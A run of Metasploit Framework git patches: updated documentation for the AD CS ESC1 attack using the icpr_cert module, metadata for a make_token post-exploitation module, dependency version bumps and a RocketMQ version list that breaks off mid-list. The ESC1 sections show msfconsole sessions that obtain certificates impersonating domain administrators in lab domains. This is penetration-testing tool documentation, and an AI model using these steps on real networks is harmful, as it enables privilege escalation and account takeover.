a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index 9283f510ff1d0..a0ce7ccd6baba 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -335,9 +335,9 @@ With this we now have a list of certificates that can be utilized for privilege # Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. -Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we -would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why -we can do this here. +Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to +specify who we would like to authenticate as instead. Note that this only works with certificate templates that are +vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set. If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up: @@ -356,6 +356,8 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com ALT_UPN => Administrator@daforest.com msf6 auxiliary(admin/dcerpc/icpr_cert) > run @@ -363,6 +365,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. +[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx [*] Auxiliary module execution completed diff --git a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md index 0720e90cc2d7a..d31e211af2807 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md +++ b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md @@ -21,6 +21,15 @@ The certificate template to issue, e.g. "User". ### ALT_DNS Alternative DNS name to specify in the certificate. Useful in certain attack scenarios. +### ALT_SID +Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target +where the [KB5014754][KB5014754] patch has been applied. + +See the following resources for more information. + +* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 +* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d + ### ALT_UPN Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the format `$username@$dnsDomainName`. @@ -112,11 +121,18 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > ### Issue A Certificate With A Specific subjectAltName (AKA ESC1) In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a -different UPN effectively issues a certificate that can be used to authenticate as another user. +different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server +has the [KB5014754][KB5014754] patch applied and the REG_DWORD +`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the +account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value +of `StrongCertificateBindingEnforcement` 2. If the server has the patch applied, the SID will be returned in the issued +certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the SID is +not specified in the certificate, then Kerberos authentication wil fail with `KDC_ERR_CERTIFICATE_MISMATCH`. The user must know: * A vulnerable certificate template, in this case `ESC1-Test`. +* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000` * The UPN of a target account, in this case `smcintyre@msflab.local`. See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more @@ -134,20 +150,25 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test CERT_TEMPLATE => ESC1-Test +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local ALT_UPN => smcintyre@msflab.local +msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true +VERBOSE => true msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol [*] 192.168.159.10:445 - Binding to \cert... [+] 192.168.159.10:445 - Bound to \cert -[*] 192.168.159.10:445 - Requesting a certificate... +[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test [+] 192.168.159.10:445 - The requested certificate was issued. +[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local -[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx +[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` ### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2) @@ -287,3 +308,5 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` + +[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 From 4b082b997b2758736af82fc2238c3a36174e2c0a Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 8 Jun 2023 14:16:14 -0500 Subject: [PATCH 342/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 50 +++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 1abedc42d47c6..42f61991387ce 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -236775,6 +236775,56 @@ ], "needs_cleanup": null }, + "post_windows/manage/make_token": { + "name": "Make Token Command", + "fullname": "post/windows/manage/make_token", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Daniel López Jiménez (attl4s)", + "Simone Salucci (saim1z)" + ], + "description": "In its default configuration, this module creates a new network security context with the specified\n logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and\n a new logon session is created and linked to that token. The token is then impersonated to acquire\n the new network security context. This module has no effect on local actions - only on remote ones\n (where the specified credential material will be used). This module does not validate the credentials\n specified.", + "references": [ + + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-06 09:07:57 +0000", + "path": "/modules/post/windows/manage/make_token.rb", + "is_install_path": true, + "ref_name": "windows/manage/make_token", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "AKA": [ + "make_token", + "maketoken" + ], + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null + }, "post_windows/manage/migrate": { "name": "Windows Manage Process Migration", "fullname": "post/windows/manage/migrate", From dce2965d3f125a11e2ce5454f09be47f1c910474 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 8 Jun 2023 14:20:59 -0500 Subject: [PATCH 343/415] Bump up dependency versions --- Gemfile.lock | 118 ++++++++++++++++++++++++++------------------------- 1 file changed, 60 insertions(+), 58 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 37d4bcdf9173f..9affd6a4c33d1 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -100,25 +100,25 @@ GEM remote: https://rubygems.org/ specs: Ascii85 (1.1.0) - actionpack (7.0.4.3) - actionview (= 7.0.4.3) - activesupport (= 7.0.4.3) - rack (~> 2.0, >= 2.2.0) + actionpack (7.0.5) + actionview (= 7.0.5) + activesupport (= 7.0.5) + rack (~> 2.0, >= 2.2.4) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.2.0) - actionview (7.0.4.3) - activesupport (= 7.0.4.3) + actionview (7.0.5) + activesupport (= 7.0.5) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.1, >= 1.2.0) - activemodel (7.0.4.3) - activesupport (= 7.0.4.3) - activerecord (7.0.4.3) - activemodel (= 7.0.4.3) - activesupport (= 7.0.4.3) - activesupport (7.0.4.3) + activemodel (7.0.5) + activesupport (= 7.0.5) + activerecord (7.0.5) + activemodel (= 7.0.5) + activesupport (= 7.0.5) + activesupport (7.0.5) concurrent-ruby (~> 1.0, >= 1.0.2) i18n (>= 1.6, < 2) minitest (>= 5.1) @@ -130,27 +130,27 @@ GEM activerecord (>= 3.1.0, < 8) ast (2.4.2) aws-eventstream (1.2.0) - aws-partitions (1.749.0) - aws-sdk-core (3.171.0) + aws-partitions (1.776.0) + aws-sdk-core (3.174.0) aws-eventstream (~> 1, >= 1.0.2) aws-partitions (~> 1, >= 1.651.0) aws-sigv4 (~> 1.5) jmespath (~> 1, >= 1.6.1) - aws-sdk-ec2 (1.375.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-ec2 (1.382.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) - aws-sdk-iam (1.77.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-iam (1.79.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) - aws-sdk-kms (1.63.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-kms (1.66.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.120.1) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-s3 (1.123.1) + aws-sdk-core (~> 3, >= 3.174.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.4) - aws-sdk-ssm (1.146.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-ssm (1.151.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) aws-sigv4 (1.5.2) aws-eventstream (~> 1, >= 1.0.2) @@ -168,7 +168,7 @@ GEM cookiejar (0.3.3) crass (1.0.6) daemons (1.4.1) - debug (1.7.2) + debug (1.8.0) irb (>= 1.5.0) reline (>= 0.3.1) diff-lcs (1.5.0) @@ -195,11 +195,11 @@ GEM railties (>= 5.0.0) faker (3.2.0) i18n (>= 1.8.11, < 2) - faraday (2.7.4) + faraday (2.7.6) faraday-net_http (>= 2.0, < 3.1) ruby2_keywords (>= 0.0.4) faraday-net_http (3.0.2) - faraday-retry (2.1.0) + faraday-retry (2.2.0) faraday (~> 2.0) faye-websocket (0.11.2) eventmachine (>= 0.12.0) @@ -221,10 +221,10 @@ GEM domain_name (~> 0.5) http_parser.rb (0.8.0) httpclient (2.8.3) - i18n (1.12.0) + i18n (1.14.1) concurrent-ruby (~> 1.0) io-console (0.6.0) - irb (1.6.4) + irb (1.7.0) reline (>= 0.3.0) jmespath (1.6.2) jsobfu (0.4.2) @@ -234,9 +234,9 @@ GEM logging (2.3.1) little-plugger (~> 1.1) multi_json (~> 1.14) - loofah (2.20.0) + loofah (2.21.3) crass (~> 1.0.2) - nokogiri (>= 1.5.9) + nokogiri (>= 1.12.0) memory_profiler (1.0.1) metasm (1.0.5) metasploit-concern (5.0.1) @@ -271,7 +271,7 @@ GEM webrick metasploit_payloads-mettle (1.0.20) method_source (1.0.0) - mini_portile2 (2.8.1) + mini_portile2 (2.8.2) minitest (5.18.0) mqtt (0.6.0) msgpack (1.6.1) @@ -288,8 +288,8 @@ GEM network_interface (0.0.2) nexpose (7.3.0) nio4r (2.5.9) - nokogiri (1.14.3) - mini_portile2 (~> 2.8.0) + nokogiri (1.15.2) + mini_portile2 (~> 2.8.2) racc (~> 1.4) nori (2.6.0) octokit (4.25.1) @@ -301,8 +301,9 @@ GEM packetfu (1.1.13) pcaprub parallel (1.23.0) - parser (3.2.2.1) + parser (3.2.2.3) ast (~> 2.4.1) + racc patch_finder (1.0.2) pcaprub (0.13.1) pdf-reader (2.11.0) @@ -311,7 +312,7 @@ GEM hashery (~> 2.0) ruby-rc4 ttfunk - pg (1.4.6) + pg (1.5.3) pry (0.14.2) coderay (~> 1.1) method_source (~> 1.0) @@ -319,10 +320,10 @@ GEM byebug (~> 11.0) pry (>= 0.13, < 0.15) public_suffix (5.0.1) - puma (6.2.2) + puma (6.3.0) nio4r (~> 2.0) - racc (1.6.2) - rack (2.2.6.4) + racc (1.7.0) + rack (2.2.7) rack-protection (3.0.6) rack rack-test (2.1.0) @@ -330,11 +331,12 @@ GEM rails-dom-testing (2.0.3) activesupport (>= 4.2.0) nokogiri (>= 1.6) - rails-html-sanitizer (1.5.0) - loofah (~> 2.19, >= 2.19.1) - railties (7.0.4.3) - actionpack (= 7.0.4.3) - activesupport (= 7.0.4.3) + rails-html-sanitizer (1.6.0) + loofah (~> 2.21) + nokogiri (~> 1.14) + railties (7.0.5) + actionpack (= 7.0.5) + activesupport (= 7.0.5) method_source rake (>= 12.2) thor (~> 1.0) @@ -348,7 +350,7 @@ GEM nokogiri redcarpet (3.6.0) regexp_parser (2.8.0) - reline (0.3.3) + reline (0.3.5) io-console (~> 0.5) rex-arch (0.1.14) rex-text @@ -404,26 +406,26 @@ GEM rspec-core (~> 3.12.0) rspec-expectations (~> 3.12.0) rspec-mocks (~> 3.12.0) - rspec-core (3.12.1) + rspec-core (3.12.2) rspec-support (~> 3.12.0) - rspec-expectations (3.12.2) + rspec-expectations (3.12.3) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.12.0) rspec-mocks (3.12.5) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.12.0) - rspec-rails (6.0.1) + rspec-rails (6.0.3) actionpack (>= 6.1) activesupport (>= 6.1) railties (>= 6.1) - rspec-core (~> 3.11) - rspec-expectations (~> 3.11) - rspec-mocks (~> 3.11) - rspec-support (~> 3.11) + rspec-core (~> 3.12) + rspec-expectations (~> 3.12) + rspec-mocks (~> 3.12) + rspec-support (~> 3.12) rspec-rerun (1.1.0) rspec (~> 3.0) rspec-support (3.12.0) - rubocop (1.50.2) + rubocop (1.52.0) json (~> 2.3) parallel (~> 1.10) parser (>= 3.2.0.0) @@ -433,7 +435,7 @@ GEM rubocop-ast (>= 1.28.0, < 2.0) ruby-progressbar (~> 1.7) unicode-display_width (>= 2.4.0, < 3.0) - rubocop-ast (1.28.0) + rubocop-ast (1.29.0) parser (>= 3.2.1.0) ruby-macho (3.0.0) ruby-prof (1.4.2) @@ -462,7 +464,7 @@ GEM rack (~> 2.2, >= 2.2.4) rack-protection (= 3.0.6) tilt (~> 2.0) - sqlite3 (1.6.2) + sqlite3 (1.6.3) mini_portile2 (~> 2.8.0) sshkey (2.0.0) strptime (0.2.5) @@ -471,8 +473,8 @@ GEM daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (>= 1, < 3) - thor (1.2.1) - tilt (2.1.0) + thor (1.2.2) + tilt (2.2.0) timecop (0.9.6) timeout (0.3.2) ttfunk (1.7.0) @@ -508,7 +510,7 @@ GEM xmlrpc (0.3.2) webrick yard (0.9.34) - zeitwerk (2.6.7) + zeitwerk (2.6.8) PLATFORMS ruby From 3e538a34af6febb43cdf315392f11f596c57ea10 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 8 Jun 2023 16:38:22 -0400 Subject: [PATCH 344/415] review comments --- data/rocketmq_versions_list.json | 615 ++++++++++++++++++ .../scanner/misc/rocketmq_version.rb | 10 +- 2 files changed, 620 insertions(+), 5 deletions(-) create mode 100644 data/rocketmq_versions_list.json diff --git a/data/rocketmq_versions_list.json b/data/rocketmq_versions_list.json new file mode 100644 index 0000000000000..dc9df46123d88 --- /dev/null +++ b/data/rocketmq_versions_list.json @@ -0,0 +1,615 @@ +[ + "V3_0_0_SNAPSHOT", + "V3_0_0_ALPHA1", + "V3_0_0_BETA1", + "V3_0_0_BETA2", + "V3_0_0_BETA3", + "V3_0_0_BETA4", + "V3_0_0_BETA5", + "V3_0_0_BETA6_SNAPSHOT", + "V3_0_0_BETA6", + "V3_0_0_BETA7_SNAPSHOT", + "V3_0_0_BETA7", + "V3_0_0_BETA8_SNAPSHOT", + "V3_0_0_BETA8", + "V3_0_0_BETA9_SNAPSHOT", + "V3_0_0_BETA9", + "V3_0_0_FINAL", + "V3_0_1_SNAPSHOT", + "V3_0_1", + "V3_0_2_SNAPSHOT", + "V3_0_2", + "V3_0_3_SNAPSHOT", + "V3_0_3", + "V3_0_4_SNAPSHOT", + "V3_0_4", + "V3_0_5_SNAPSHOT", + "V3_0_5", + "V3_0_6_SNAPSHOT", + "V3_0_6", + "V3_0_7_SNAPSHOT", + "V3_0_7", + "V3_0_8_SNAPSHOT", + "V3_0_8", + "V3_0_9_SNAPSHOT", + "V3_0_9", + "V3_0_10_SNAPSHOT", + "V3_0_10", + "V3_0_11_SNAPSHOT", + "V3_0_11", + "V3_0_12_SNAPSHOT", + "V3_0_12", + "V3_0_13_SNAPSHOT", + "V3_0_13", + "V3_0_14_SNAPSHOT", + "V3_0_14", + "V3_0_15_SNAPSHOT", + "V3_0_15", + "V3_1_0_SNAPSHOT", + "V3_1_0", + "V3_1_1_SNAPSHOT", + "V3_1_1", + "V3_1_2_SNAPSHOT", + "V3_1_2", + "V3_1_3_SNAPSHOT", + "V3_1_3", + "V3_1_4_SNAPSHOT", + "V3_1_4", + "V3_1_5_SNAPSHOT", + "V3_1_5", + "V3_1_6_SNAPSHOT", + "V3_1_6", + "V3_1_7_SNAPSHOT", + "V3_1_7", + "V3_1_8_SNAPSHOT", + "V3_1_8", + "V3_1_9_SNAPSHOT", + "V3_1_9", + "V3_2_0_SNAPSHOT", + "V3_2_0", + "V3_2_1_SNAPSHOT", + "V3_2_1", + "V3_2_2_SNAPSHOT", + "V3_2_2", + "V3_2_3_SNAPSHOT", + "V3_2_3", + "V3_2_4_SNAPSHOT", + "V3_2_4", + "V3_2_5_SNAPSHOT", + "V3_2_5", + "V3_2_6_SNAPSHOT", + "V3_2_6", + "V3_2_7_SNAPSHOT", + "V3_2_7", + "V3_2_8_SNAPSHOT", + "V3_2_8", + "V3_2_9_SNAPSHOT", + "V3_2_9", + "V3_3_1_SNAPSHOT", + "V3_3_1", + "V3_3_2_SNAPSHOT", + "V3_3_2", + "V3_3_3_SNAPSHOT", + "V3_3_3", + "V3_3_4_SNAPSHOT", + "V3_3_4", + "V3_3_5_SNAPSHOT", + "V3_3_5", + "V3_3_6_SNAPSHOT", + "V3_3_6", + "V3_3_7_SNAPSHOT", + "V3_3_7", + "V3_3_8_SNAPSHOT", + "V3_3_8", + "V3_3_9_SNAPSHOT", + "V3_3_9", + "V3_4_1_SNAPSHOT", + "V3_4_1", + "V3_4_2_SNAPSHOT", + "V3_4_2", + "V3_4_3_SNAPSHOT", + "V3_4_3", + "V3_4_4_SNAPSHOT", + "V3_4_4", + "V3_4_5_SNAPSHOT", + "V3_4_5", + "V3_4_6_SNAPSHOT", + "V3_4_6", + "V3_4_7_SNAPSHOT", + "V3_4_7", + "V3_4_8_SNAPSHOT", + "V3_4_8", + "V3_4_9_SNAPSHOT", + "V3_4_9", + "V3_5_1_SNAPSHOT", + "V3_5_1", + "V3_5_2_SNAPSHOT", + "V3_5_2", + "V3_5_3_SNAPSHOT", + "V3_5_3", + "V3_5_4_SNAPSHOT", + "V3_5_4", + "V3_5_5_SNAPSHOT", + "V3_5_5", + "V3_5_6_SNAPSHOT", + "V3_5_6", + "V3_5_7_SNAPSHOT", + "V3_5_7", + "V3_5_8_SNAPSHOT", + "V3_5_8", + "V3_5_9_SNAPSHOT", + "V3_5_9", + "V3_6_1_SNAPSHOT", + "V3_6_1", + "V3_6_2_SNAPSHOT", + "V3_6_2", + "V3_6_3_SNAPSHOT", + "V3_6_3", + "V3_6_4_SNAPSHOT", + "V3_6_4", + "V3_6_5_SNAPSHOT", + "V3_6_5", + "V3_6_6_SNAPSHOT", + "V3_6_6", + "V3_6_7_SNAPSHOT", + "V3_6_7", + "V3_6_8_SNAPSHOT", + "V3_6_8", + "V3_6_9_SNAPSHOT", + "V3_6_9", + "V3_7_1_SNAPSHOT", + "V3_7_1", + "V3_7_2_SNAPSHOT", + "V3_7_2", + "V3_7_3_SNAPSHOT", + "V3_7_3", + "V3_7_4_SNAPSHOT", + "V3_7_4", + "V3_7_5_SNAPSHOT", + "V3_7_5", + "V3_7_6_SNAPSHOT", + "V3_7_6", + "V3_7_7_SNAPSHOT", + "V3_7_7", + "V3_7_8_SNAPSHOT", + "V3_7_8", + "V3_7_9_SNAPSHOT", + "V3_7_9", + "V3_8_1_SNAPSHOT", + "V3_8_1", + "V3_8_2_SNAPSHOT", + "V3_8_2", + "V3_8_3_SNAPSHOT", + "V3_8_3", + "V3_8_4_SNAPSHOT", + "V3_8_4", + "V3_8_5_SNAPSHOT", + "V3_8_5", + "V3_8_6_SNAPSHOT", + "V3_8_6", + "V3_8_7_SNAPSHOT", + "V3_8_7", + "V3_8_8_SNAPSHOT", + "V3_8_8", + "V3_8_9_SNAPSHOT", + "V3_8_9", + "V3_9_1_SNAPSHOT", + "V3_9_1", + "V3_9_2_SNAPSHOT", + "V3_9_2", + "V3_9_3_SNAPSHOT", + "V3_9_3", + "V3_9_4_SNAPSHOT", + "V3_9_4", + "V3_9_5_SNAPSHOT", + "V3_9_5", + "V3_9_6_SNAPSHOT", + "V3_9_6", + "V3_9_7_SNAPSHOT", + "V3_9_7", + "V3_9_8_SNAPSHOT", + "V3_9_8", + "V3_9_9_SNAPSHOT", + "V3_9_9", + "V4_0_0_SNAPSHOT", + "V4_0_0", + "V4_0_1_SNAPSHOT", + "V4_0_1", + "V4_0_2_SNAPSHOT", + "V4_0_2", + "V4_0_3_SNAPSHOT", + "V4_0_3", + "V4_0_4_SNAPSHOT", + "V4_0_4", + "V4_0_5_SNAPSHOT", + "V4_0_5", + "V4_0_6_SNAPSHOT", + "V4_0_6", + "V4_0_7_SNAPSHOT", + "V4_0_7", + "V4_0_8_SNAPSHOT", + "V4_0_8", + "V4_0_9_SNAPSHOT", + "V4_0_9", + "V4_1_0_SNAPSHOT", + "V4_1_0", + "V4_1_1_SNAPSHOT", + "V4_1_1", + "V4_1_2_SNAPSHOT", + "V4_1_2", + "V4_1_3_SNAPSHOT", + "V4_1_3", + "V4_1_4_SNAPSHOT", + "V4_1_4", + "V4_1_5_SNAPSHOT", + "V4_1_5", + "V4_1_6_SNAPSHOT", + "V4_1_6", + "V4_1_7_SNAPSHOT", + "V4_1_7", + "V4_1_8_SNAPSHOT", + "V4_1_8", + "V4_1_9_SNAPSHOT", + "V4_1_9", + "V4_2_0_SNAPSHOT", + "V4_2_0", + "V4_2_1_SNAPSHOT", + "V4_2_1", + "V4_2_2_SNAPSHOT", + "V4_2_2", + "V4_2_3_SNAPSHOT", + "V4_2_3", + "V4_2_4_SNAPSHOT", + "V4_2_4", + "V4_2_5_SNAPSHOT", + "V4_2_5", + "V4_2_6_SNAPSHOT", + "V4_2_6", + "V4_2_7_SNAPSHOT", + "V4_2_7", + "V4_2_8_SNAPSHOT", + "V4_2_8", + "V4_2_9_SNAPSHOT", + "V4_2_9", + "V4_3_0_SNAPSHOT", + "V4_3_0", + "V4_3_1_SNAPSHOT", + "V4_3_1", + "V4_3_2_SNAPSHOT", + "V4_3_2", + "V4_3_3_SNAPSHOT", + "V4_3_3", + "V4_3_4_SNAPSHOT", + "V4_3_4", + "V4_3_5_SNAPSHOT", + "V4_3_5", + "V4_3_6_SNAPSHOT", + "V4_3_6", + "V4_3_7_SNAPSHOT", + "V4_3_7", + "V4_3_8_SNAPSHOT", + "V4_3_8", + "V4_3_9_SNAPSHOT", + "V4_3_9", + "V4_4_0_SNAPSHOT", + "V4_4_0", + "V4_4_1_SNAPSHOT", + "V4_4_1", + "V4_4_2_SNAPSHOT", + "V4_4_2", + "V4_4_3_SNAPSHOT", + "V4_4_3", + "V4_4_4_SNAPSHOT", + "V4_4_4", + "V4_4_5_SNAPSHOT", + "V4_4_5", + "V4_4_6_SNAPSHOT", + "V4_4_6", + "V4_4_7_SNAPSHOT", + "V4_4_7", + "V4_4_8_SNAPSHOT", + "V4_4_8", + "V4_4_9_SNAPSHOT", + "V4_4_9", + "V4_5_0_SNAPSHOT", + "V4_5_0", + "V4_5_1_SNAPSHOT", + "V4_5_1", + "V4_5_2_SNAPSHOT", + "V4_5_2", + "V4_5_3_SNAPSHOT", + "V4_5_3", + "V4_5_4_SNAPSHOT", + "V4_5_4", + "V4_5_5_SNAPSHOT", + "V4_5_5", + "V4_5_6_SNAPSHOT", + "V4_5_6", + "V4_5_7_SNAPSHOT", + "V4_5_7", + "V4_5_8_SNAPSHOT", + "V4_5_8", + "V4_5_9_SNAPSHOT", + "V4_5_9", + "V4_6_0_SNAPSHOT", + "V4_6_0", + "V4_6_1_SNAPSHOT", + "V4_6_1", + "V4_6_2_SNAPSHOT", + "V4_6_2", + "V4_6_3_SNAPSHOT", + "V4_6_3", + "V4_6_4_SNAPSHOT", + "V4_6_4", + "V4_6_5_SNAPSHOT", + "V4_6_5", + "V4_6_6_SNAPSHOT", + "V4_6_6", + "V4_6_7_SNAPSHOT", + "V4_6_7", + "V4_6_8_SNAPSHOT", + "V4_6_8", + "V4_6_9_SNAPSHOT", + "V4_6_9", + "V4_7_0_SNAPSHOT", + "V4_7_0", + "V4_7_1_SNAPSHOT", + "V4_7_1", + "V4_7_2_SNAPSHOT", + "V4_7_2", + "V4_7_3_SNAPSHOT", + "V4_7_3", + "V4_7_4_SNAPSHOT", + "V4_7_4", + "V4_7_5_SNAPSHOT", + "V4_7_5", + "V4_7_6_SNAPSHOT", + "V4_7_6", + "V4_7_7_SNAPSHOT", + "V4_7_7", + "V4_7_8_SNAPSHOT", + "V4_7_8", + "V4_7_9_SNAPSHOT", + "V4_7_9", + "V4_8_0_SNAPSHOT", + "V4_8_0", + "V4_8_1_SNAPSHOT", + "V4_8_1", + "V4_8_2_SNAPSHOT", + "V4_8_2", + "V4_8_3_SNAPSHOT", + "V4_8_3", + "V4_8_4_SNAPSHOT", + "V4_8_4", + "V4_8_5_SNAPSHOT", + "V4_8_5", + "V4_8_6_SNAPSHOT", + "V4_8_6", + "V4_8_7_SNAPSHOT", + "V4_8_7", + "V4_8_8_SNAPSHOT", + "V4_8_8", + "V4_8_9_SNAPSHOT", + "V4_8_9", + "V4_9_0_SNAPSHOT", + "V4_9_0", + "V4_9_1_SNAPSHOT", + "V4_9_1", + "V4_9_2_SNAPSHOT", + "V4_9_2", + "V4_9_3_SNAPSHOT", + "V4_9_3", + "V4_9_4_SNAPSHOT", + "V4_9_4", + "V4_9_5_SNAPSHOT", + "V4_9_5", + "V4_9_6_SNAPSHOT", + "V4_9_6", + "V4_9_7_SNAPSHOT", + "V4_9_7", + "V4_9_8_SNAPSHOT", + "V4_9_8", + "V4_9_9_SNAPSHOT", + "V4_9_9", + "V5_0_0_SNAPSHOT", + "V5_0_0", + "V5_0_1_SNAPSHOT", + "V5_0_1", + "V5_0_2_SNAPSHOT", + "V5_0_2", + "V5_0_3_SNAPSHOT", + "V5_0_3", + "V5_0_4_SNAPSHOT", + "V5_0_4", + "V5_0_5_SNAPSHOT", + "V5_0_5", + "V5_0_6_SNAPSHOT", + "V5_0_6", + "V5_0_7_SNAPSHOT", + "V5_0_7", + "V5_0_8_SNAPSHOT", + "V5_0_8", + "V5_0_9_SNAPSHOT", + "V5_0_9", + "V5_1_0_SNAPSHOT", + "V5_1_0", + "V5_1_1_SNAPSHOT", + "V5_1_1", + "V5_1_2_SNAPSHOT", + "V5_1_2", + "V5_1_3_SNAPSHOT", + "V5_1_3", + "V5_1_4_SNAPSHOT", + "V5_1_4", + "V5_1_5_SNAPSHOT", + "V5_1_5", + "V5_1_6_SNAPSHOT", + "V5_1_6", + "V5_1_7_SNAPSHOT", + "V5_1_7", + "V5_1_8_SNAPSHOT", + "V5_1_8", + "V5_1_9_SNAPSHOT", + "V5_1_9", + "V5_2_0_SNAPSHOT", + "V5_2_0", + "V5_2_1_SNAPSHOT", + "V5_2_1", + "V5_2_2_SNAPSHOT", + "V5_2_2", + "V5_2_3_SNAPSHOT", + "V5_2_3", + "V5_2_4_SNAPSHOT", + "V5_2_4", + "V5_2_5_SNAPSHOT", + 